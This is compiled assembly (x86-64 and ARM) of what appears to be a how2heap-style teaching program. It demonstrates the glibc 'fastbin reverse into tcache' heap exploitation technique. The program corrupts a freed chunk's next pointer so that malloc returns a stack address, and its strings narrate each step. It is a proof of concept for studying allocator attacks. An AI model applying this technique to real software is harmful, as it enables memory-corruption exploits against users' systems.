	.file	"98145.c"
	.intel_syntax noprefix
	.text
	.globl	allocsize
	.section	.rodata
	.align 8
	.type	allocsize, @object
	.size	allocsize, 8
allocsize:
	.quad	64
	.align 8
.LC0:
	.ascii	"\nT"
	.string	"his attack is intended to have a similar effect to the unsorted_bin_attack,\nexcept it works with a small allocation size (allocsize <= 0x78).\nThe goal is to set things up so that a call to malloc(allocsize) will write\na large unsigned value to the stack.\n\n"
	.align 8
.LC1:
	.string	"First we need to free(allocsize) at least 7 times to fill the tcache.\n(More than 7 times works fine too.)\n\n"
	.align 8
.LC2:
	.string	"The next pointer that we free is the chunk that we're going to corrupt: %p\nIt doesn't matter if we corrupt it now or later. Because the tcache is\nalready full, it will go in the fastbin.\n\n"
	.align 8
.LC3:
	.ascii	"Next we need to free 6 more pointers. Unlike version A of "
	.string	"\"fastbin reverse\ninto cache\", this number has to be exactly 6. That's because the stack address\nthat we want to overwrite is not zero, so the attack will cause a segmentation\nfault if we free fewer than 6 (and will have no effect if we free more than 6).\n\n"
	.align 8
.LC4:
	.string	"The stack address that we intend to target: %p\nIt's current value is %p\n"
	.align 8
.LC5:
	.string	"Now we use a vulnerability such as a buffer overflow or a use-after-free\nto overwrite the next pointer at address %p\n\n"
	.align 8
.LC6:
	.string	"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
	.align 8
.LC7:
	.string	"Let's just print the contents of our array on the stack now,\nto show that it hasn't been modified yet.\n\n"
.LC8:
	.string	"%p: %p\n"
	.align 8
.LC9:
	.ascii	"\nThe next allocation triggers the stack to be overwritten. "
	.ascii	"The tcache\nis empty, but the fastbin isn't, so the next all"
	.ascii	"ocation comes from the\nfastbin. Also, 7 chunks from the fas"
	.ascii	"tbin are used to refill the tcache.\nThose 7 chunks are copi"
	.ascii	"ed in reverse order into the tcache, so the stack\naddress t"
	.ascii	"hat we are targeting ends up being the first chunk in the tc"
	.ascii	"ache.\nIt contains a pointer to the next chunk in the list, "
	.ascii	"which is why a heap\npointer is written to the stack.\n\nEar"
	.ascii	"lier we said that the attack will also work if we free fewer"
	.ascii	" than 6\nextra pointers to the fastbin, "
	.string	"but only if the value on the stack is zero.\nThat's because the value on the stack is treated as a next pointer in the\nlinked list and it will trigger a crash if it isn't a valid pointer or null.\n\nThe contents of our array on the stack now look like this:\n\n"
.LC10:
	.string	"the_stack_data/98145.c"
.LC11:
	.string	"stack_var[2] != 0"
.LC12:
	.string	"(char*)stack_var[2] == p"
	.align 8
.LC13:
	.string	"\nFinally, if we malloc one more time then we get the stack address back: %p\n\n"
.LC14:
	.string	"q == (char*)&stack_var[2]"
	.align 8
.LC15:
	.ascii	"There's a problem though. Version B of \"fastbin reverse int"
	.ascii	"o cache\"\nleaves the allocator in a corrupted state. Alloca"
	.ascii	"tions that can be\nserved from the tcache still work fin"
	.string	"e, but any allocation that triggers\na call to malloc_consolidate will cause a crash. In other words, you\nneed to pop your calculator right now, or you're done!\n\nLet's demonstrate this now by attempting to allocate 0x500 bytes,\nwhich will trigger a crash.\n\n"
.LC16:
	.string	"Crashing in "
.LC17:
	.string	"%lu "
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 208
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 258
	mov	esi, 1
	lea	rdi, .LC0[rip]
	call	fwrite@PLT
	mov	QWORD PTR -200[rbp], 0
	jmp	.L2
.L3:
	mov	eax, 64
	mov	rdi, rax
	call	malloc@PLT
	mov	rdx, rax
	mov	rax, QWORD PTR -200[rbp]
	mov	QWORD PTR -128[rbp+rax*8], rdx
	add	QWORD PTR -200[rbp], 1
.L2:
	cmp	QWORD PTR -200[rbp], 13
	jbe	.L3
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 107
	mov	esi, 1
	lea	rdi, .LC1[rip]
	call	fwrite@PLT
	mov	QWORD PTR -200[rbp], 0
	jmp	.L4
.L5:
	mov	rax, QWORD PTR -200[rbp]
	mov	rax, QWORD PTR -128[rbp+rax*8]
	mov	rdi, rax
	call	free@PLT
	add	QWORD PTR -200[rbp], 1
.L4:
	cmp	QWORD PTR -200[rbp], 6
	jbe	.L5
	mov	rax, QWORD PTR -72[rbp]
	mov	QWORD PTR -192[rbp], rax
	mov	rax, QWORD PTR stderr[rip]
	mov	rdx, QWORD PTR -192[rbp]
	lea	rsi, .LC2[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR -192[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 314
	mov	esi, 1
	lea	rdi, .LC3[rip]
	call	fwrite@PLT
	mov	QWORD PTR -200[rbp], 8
	jmp	.L6
.L7:
	mov	rax, QWORD PTR -200[rbp]
	mov	rax, QWORD PTR -128[rbp+rax*8]
	mov	rdi, rax
	call	free@PLT
	add	QWORD PTR -200[rbp], 1
.L6:
	cmp	QWORD PTR -200[rbp], 13
	jbe	.L7
	lea	rax, -176[rbp]
	mov	edx, 48
	mov	esi, 205
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -160[rbp]
	mov	rcx, rax
	mov	rax, QWORD PTR stderr[rip]
	lea	rdx, -176[rbp]
	add	rdx, 16
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rdx, QWORD PTR -192[rbp]
	lea	rsi, .LC5[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR -192[rbp]
	lea	rdx, -176[rbp]
	mov	QWORD PTR [rax], rdx
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 68
	mov	esi, 1
	lea	rdi, .LC6[rip]
	call	fwrite@PLT
	mov	QWORD PTR -200[rbp], 0
	jmp	.L8
.L9:
	mov	eax, 64
	mov	rdi, rax
	call	malloc@PLT
	mov	rdx, rax
	mov	rax, QWORD PTR -200[rbp]
	mov	QWORD PTR -128[rbp+rax*8], rdx
	add	QWORD PTR -200[rbp], 1
.L8:
	cmp	QWORD PTR -200[rbp], 6
	jbe	.L9
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 104
	mov	esi, 1
	lea	rdi, .LC7[rip]
	call	fwrite@PLT
	mov	QWORD PTR -200[rbp], 0
	jmp	.L10
.L11:
	mov	rax, QWORD PTR -200[rbp]
	mov	rax, QWORD PTR -176[rbp+rax*8]
	mov	rcx, rax
	lea	rdx, -176[rbp]
	mov	rax, QWORD PTR -200[rbp]
	sal	rax, 3
	add	rdx, rax
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC8[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	add	QWORD PTR -200[rbp], 1
.L10:
	cmp	QWORD PTR -200[rbp], 5
	jbe	.L11
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 826
	mov	esi, 1
	lea	rdi, .LC9[rip]
	call	fwrite@PLT
	mov	eax, 64
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -200[rbp], 0
	jmp	.L12
.L13:
	mov	rax, QWORD PTR -200[rbp]
	mov	rax, QWORD PTR -176[rbp+rax*8]
	mov	rcx, rax
	lea	rdx, -176[rbp]
	mov	rax, QWORD PTR -200[rbp]
	sal	rax, 3
	add	rdx, rax
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC8[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	add	QWORD PTR -200[rbp], 1
.L12:
	cmp	QWORD PTR -200[rbp], 5
	jbe	.L13
	mov	rax, QWORD PTR -160[rbp]
	test	rax, rax
	jne	.L14
	lea	rcx, __PRETTY_FUNCTION__.0[rip]
	mov	edx, 141
	lea	rsi, .LC10[rip]
	lea	rdi, .LC11[rip]
	call	__assert_fail@PLT
.L14:
	mov	rax, QWORD PTR -160[rbp]
	cmp	QWORD PTR -192[rbp], rax
	je	.L15
	lea	rcx, __PRETTY_FUNCTION__.0[rip]
	mov	edx, 142
	lea	rsi, .LC10[rip]
	lea	rdi, .LC12[rip]
	call	__assert_fail@PLT
.L15:
	mov	eax, 64
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -184[rbp], rax
	mov	rax, QWORD PTR stderr[rip]
	mov	rdx, QWORD PTR -184[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	lea	rax, -176[rbp]
	add	rax, 16
	cmp	QWORD PTR -184[rbp], rax
	je	.L16
	lea	rcx, __PRETTY_FUNCTION__.0[rip]
	mov	edx, 152
	lea	rsi, .LC10[rip]
	lea	rdi, .LC14[rip]
	call	__assert_fail@PLT
.L16:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 428
	mov	esi, 1
	lea	rdi, .LC15[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 12
	mov	esi, 1
	lea	rdi, .LC16[rip]
	call	fwrite@PLT
	mov	QWORD PTR -200[rbp], 5
	jmp	.L17
.L18:
	mov	rax, QWORD PTR stderr[rip]
	mov	rdx, QWORD PTR -200[rbp]
	lea	rsi, .LC17[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edi, 1
	call	sleep@PLT
	sub	QWORD PTR -200[rbp], 1
.L17:
	cmp	QWORD PTR -200[rbp], 0
	jne	.L18
	mov	rax, QWORD PTR stderr[rip]
	mov	rsi, rax
	mov	edi, 10
	call	fputc@PLT
	mov	edi, 1280
	call	malloc@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L20
	call	__stack_chk_fail@PLT
.L20:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.section	.rodata
	.type	__PRETTY_FUNCTION__.0, @object
	.size	__PRETTY_FUNCTION__.0, 5
__PRETTY_FUNCTION__.0:
	.string	"main"
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"98145.c"
	.text
	.global	allocsize
	.section	.rodata
	.align	2
	.type	allocsize, %object
	.size	allocsize, 4
allocsize:
	.word	64
	.align	2
.LC0:
	.ascii	"\012This attack is intended to have a similar effec"
	.ascii	"t to the unsorted_bin_attack,\012except it works wi"
	.ascii	"th a small allocation size (allocsize <= 0x78).\012"
	.ascii	"The goal is to set things up so that a call to mall"
	.ascii	"oc(allocsize) will write\012a large unsigned value "
	.ascii	"to the stack.\012\012\000"
	.align	2
.LC1:
	.ascii	"First we need to free(allocsize) at least 7 times t"
	.ascii	"o fill the tcache.\012(More than 7 times works fine"
	.ascii	" too.)\012\012\000"
	.align	2
.LC2:
	.ascii	"The next pointer that we free is the chunk that we'"
	.ascii	"re going to corrupt: %p\012It doesn't matter if we "
	.ascii	"corrupt it now or later. Because the tcache is\012a"
	.ascii	"lready full, it will go in the fastbin.\012\012\000"
	.align	2
.LC3:
	.ascii	"Next we need to free 6 more pointers. Unlike versio"
	.ascii	"n A of \"fastbin reverse\012into cache\", this numb"
	.ascii	"er has to be exactly 6. That's because the stack ad"
	.ascii	"dress\012that we want to overwrite is not zero, so "
	.ascii	"the attack will cause a segmentation\012fault if we"
	.ascii	" free fewer than 6 (and will have no effect if we f"
	.ascii	"ree more than 6).\012\012\000"
	.align	2
.LC4:
	.ascii	"The stack address that we intend to target: %p\012I"
	.ascii	"t's current value is %p\012\000"
	.align	2
.LC5:
	.ascii	"Now we use a vulnerability such as a buffer overflo"
	.ascii	"w or a use-after-free\012to overwrite the next poin"
	.ascii	"ter at address %p\012\012\000"
	.align	2
.LC6:
	.ascii	"The next step is to malloc(allocsize) 7 times to em"
	.ascii	"pty the tcache.\012\012\000"
	.align	2
.LC7:
	.ascii	"Let's just print the contents of our array on the s"
	.ascii	"tack now,\012to show that it hasn't been modified y"
	.ascii	"et.\012\012\000"
	.align	2
.LC8:
	.ascii	"%p: %p\012\000"
	.align	2
.LC9:
	.ascii	"\012The next allocation triggers the stack to be ov"
	.ascii	"erwritten. The tcache\012is empty, but the fastbin "
	.ascii	"isn't, so the next allocation comes from the\012fas"
	.ascii	"tbin. Also, 7 chunks from the fastbin are used to r"
	.ascii	"efill the tcache.\012Those 7 chunks are copied in r"
	.ascii	"everse order into the tcache, so the stack\012addre"
	.ascii	"ss that we are targeting ends up being the first ch"
	.ascii	"unk in the tcache.\012It contains a pointer to the "
	.ascii	"next chunk in the list, which is why a heap\012poin"
	.ascii	"ter is written to the stack.\012\012Earlier we said"
	.ascii	" that the attack will also work if we free fewer th"
	.ascii	"an 6\012extra pointers to the fastbin, but only if "
	.ascii	"the value on the stack is zero.\012That's because t"
	.ascii	"he value on the stack is treated as a next pointer "
	.ascii	"in the\012linked list and it will trigger a crash i"
	.ascii	"f it isn't a valid pointer or null.\012\012The cont"
	.ascii	"ents of our array on the stack now look like this:\012"
	.ascii	"\012\000"
	.align	2
.LC10:
	.ascii	"the_stack_data/98145.c\000"
	.align	2
.LC11:
	.ascii	"stack_var[2] != 0\000"
	.align	2
.LC12:
	.ascii	"(char*)stack_var[2] == p\000"
	.align	2
.LC13:
	.ascii	"\012Finally, if we malloc one more time then we get"
	.ascii	" the stack address back: %p\012\012\000"
	.align	2
.LC14:
	.ascii	"q == (char*)&stack_var[2]\000"
	.align	2
.LC15:
	.ascii	"There's a problem though. Version B of \"fastbin re"
	.ascii	"verse into cache\"\012leaves the allocator in a cor"
	.ascii	"rupted state. Allocations that can be\012served fro"
	.ascii	"m the tcache still work fine, but any allocation th"
	.ascii	"at triggers\012a call to malloc_consolidate will ca"
	.ascii	"use a crash. In other words, you\012need to pop you"
	.ascii	"r calculator right now, or you're done!\012\012Let'"
	.ascii	"s demonstrate this now by attempting to allocate 0x"
	.ascii	"500 bytes,\012which will trigger a crash.\012\012\000"
	.align	2
.LC16:
	.ascii	"Crashing in \000"
	.align	2
.LC17:
	.ascii	"%lu \000"
	.align	2
.LC18:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 96
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #96
	ldr	r3, .L21
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L21+4
	ldr	r3, [r3]
	ldr	r2, .L21+8
	mov	r1, #1
	ldr	r0, .L21+12
	bl	fwrite
	mov	r3, #0
	str	r3, [fp, #-100]
	b	.L2
.L3:
	mov	r3, #64
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	str	r2, [r3, #-60]
	ldr	r3, [fp, #-100]
	add	r3, r3, #1
	str	r3, [fp, #-100]
.L2:
	ldr	r3, [fp, #-100]
	cmp	r3, #13
	bls	.L3
	ldr	r3, .L21+4
	ldr	r3, [r3]
	mov	r2, #107
	mov	r1, #1
	ldr	r0, .L21+16
	bl	fwrite
	mov	r3, #0
	str	r3, [fp, #-100]
	b	.L4
.L5:
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	ldr	r3, [r3, #-60]
	mov	r0, r3
	bl	free
	ldr	r3, [fp, #-100]
	add	r3, r3, #1
	str	r3, [fp, #-100]
.L4:
	ldr	r3, [fp, #-100]
	cmp	r3, #6
	bls	.L5
	ldr	r3, [fp, #-36]
	str	r3, [fp, #-96]
	ldr	r3, .L21+4
	ldr	r3, [r3]
	ldr	r2, [fp, #-96]
	ldr	r1, .L21+20
	mov	r0, r3
	bl	fprintf
	ldr	r0, [fp, #-96]
	bl	free
	ldr	r3, .L21+4
	ldr	r3, [r3]
	ldr	r2, .L21+24
	mov	r1, #1
	ldr	r0, .L21+28
	bl	fwrite
	mov	r3, #8
	str	r3, [fp, #-100]
	b	.L6
.L7:
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	ldr	r3, [r3, #-60]
	mov	r0, r3
	bl	free
	ldr	r3, [fp, #-100]
	add	r3, r3, #1
	str	r3, [fp, #-100]
.L6:
	ldr	r3, [fp, #-100]
	cmp	r3, #13
	bls	.L7
	sub	r3, fp, #88
	mov	r2, #24
	mov	r1, #205
	mov	r0, r3
	bl	memset
	ldr	r3, .L21+4
	ldr	r0, [r3]
	ldr	r3, [fp, #-80]
	mov	r1, r3
	sub	r3, fp, #88
	add	r2, r3, #8
	mov	r3, r1
	ldr	r1, .L21+32
	bl	fprintf
	ldr	r3, .L21+4
	ldr	r3, [r3]
	ldr	r2, [fp, #-96]
	ldr	r1, .L21+36
	mov	r0, r3
	bl	fprintf
	ldr	r3, [fp, #-96]
	sub	r2, fp, #88
	str	r2, [r3]
	ldr	r3, .L21+4
	ldr	r3, [r3]
	mov	r2, #68
	mov	r1, #1
	ldr	r0, .L21+40
	bl	fwrite
	mov	r3, #0
	str	r3, [fp, #-100]
	b	.L8
.L9:
	mov	r3, #64
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	str	r2, [r3, #-60]
	ldr	r3, [fp, #-100]
	add	r3, r3, #1
	str	r3, [fp, #-100]
.L8:
	ldr	r3, [fp, #-100]
	cmp	r3, #6
	bls	.L9
	ldr	r3, .L21+4
	ldr	r3, [r3]
	mov	r2, #104
	mov	r1, #1
	ldr	r0, .L21+44
	bl	fwrite
	mov	r3, #0
	str	r3, [fp, #-100]
	b	.L10
.L11:
	ldr	r3, .L21+4
	ldr	r0, [r3]
	sub	r2, fp, #88
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	add	r2, r2, r3
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	ldr	r3, [r3, #-84]
	ldr	r1, .L21+48
	bl	fprintf
	ldr	r3, [fp, #-100]
	add	r3, r3, #1
	str	r3, [fp, #-100]
.L10:
	ldr	r3, [fp, #-100]
	cmp	r3, #5
	bls	.L11
	ldr	r3, .L21+4
	ldr	r3, [r3]
	ldr	r2, .L21+52
	mov	r1, #1
	ldr	r0, .L21+56
	bl	fwrite
	mov	r3, #64
	mov	r0, r3
	bl	malloc
	mov	r3, #0
	str	r3, [fp, #-100]
	b	.L12
.L13:
	ldr	r3, .L21+4
	ldr	r0, [r3]
	sub	r2, fp, #88
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	add	r2, r2, r3
	ldr	r3, [fp, #-100]
	lsl	r3, r3, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	ldr	r3, [r3, #-84]
	ldr	r1, .L21+48
	bl	fprintf
	ldr	r3, [fp, #-100]
	add	r3, r3, #1
	str	r3, [fp, #-100]
.L12:
	ldr	r3, [fp, #-100]
	cmp	r3, #5
	bls	.L13
	ldr	r3, [fp, #-80]
	cmp	r3, #0
	bne	.L14
	ldr	r3, .L21+60
	mov	r2, #141
	ldr	r1, .L21+64
	ldr	r0, .L21+68
	bl	__assert_fail
.L14:
	ldr	r3, [fp, #-80]
	mov	r2, r3
	ldr	r3, [fp, #-96]
	cmp	r3, r2
	beq	.L15
	ldr	r3, .L21+60
	mov	r2, #142
	ldr	r1, .L21+64
	ldr	r0, .L21+72
	bl	__assert_fail
.L15:
	mov	r3, #64
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-92]
	ldr	r3, .L21+4
	ldr	r3, [r3]
	ldr	r2, [fp, #-92]
	ldr	r1, .L21+76
	mov	r0, r3
	bl	fprintf
	sub	r3, fp, #88
	add	r3, r3, #8
	ldr	r2, [fp, #-92]
	cmp	r2, r3
	beq	.L16
	ldr	r3, .L21+60
	mov	r2, #152
	ldr	r1, .L21+64
	ldr	r0, .L21+80
	bl	__assert_fail
.L16:
	ldr	r3, .L21+4
	ldr	r3, [r3]
	mov	r2, #428
	mov	r1, #1
	ldr	r0, .L21+84
	bl	fwrite
	ldr	r3, .L21+4
	ldr	r3, [r3]
	mov	r2, #12
	mov	r1, #1
	ldr	r0, .L21+88
	bl	fwrite
	mov	r3, #5
	str	r3, [fp, #-100]
	b	.L17
.L18:
	ldr	r3, .L21+4
	ldr	r3, [r3]
	ldr	r2, [fp, #-100]
	ldr	r1, .L21+92
	mov	r0, r3
	bl	fprintf
	mov	r0, #1
	bl	sleep
	ldr	r3, [fp, #-100]
	sub	r3, r3, #1
	str	r3, [fp, #-100]
.L17:
	ldr	r3, [fp, #-100]
	cmp	r3, #0
	bne	.L18
	ldr	r3, .L21+4
	ldr	r3, [r3]
	mov	r1, r3
	mov	r0, #10
	bl	fputc
	mov	r0, #1280
	bl	malloc
	mov	r3, #0
	ldr	r2, .L21
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L20
	bl	__stack_chk_fail
.L20:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L22:
	.align	2
.L21:
	.word	.LC18
	.word	stderr
	.word	258
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	314
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	826
	.word	.LC9
	.word	__PRETTY_FUNCTION__.5940
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.size	main, .-main
	.section	.rodata
	.align	2
	.type	__PRETTY_FUNCTION__.5940, %object
	.size	__PRETTY_FUNCTION__.5940, 5
__PRETTY_FUNCTION__.5940:
	.ascii	"main\000"
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
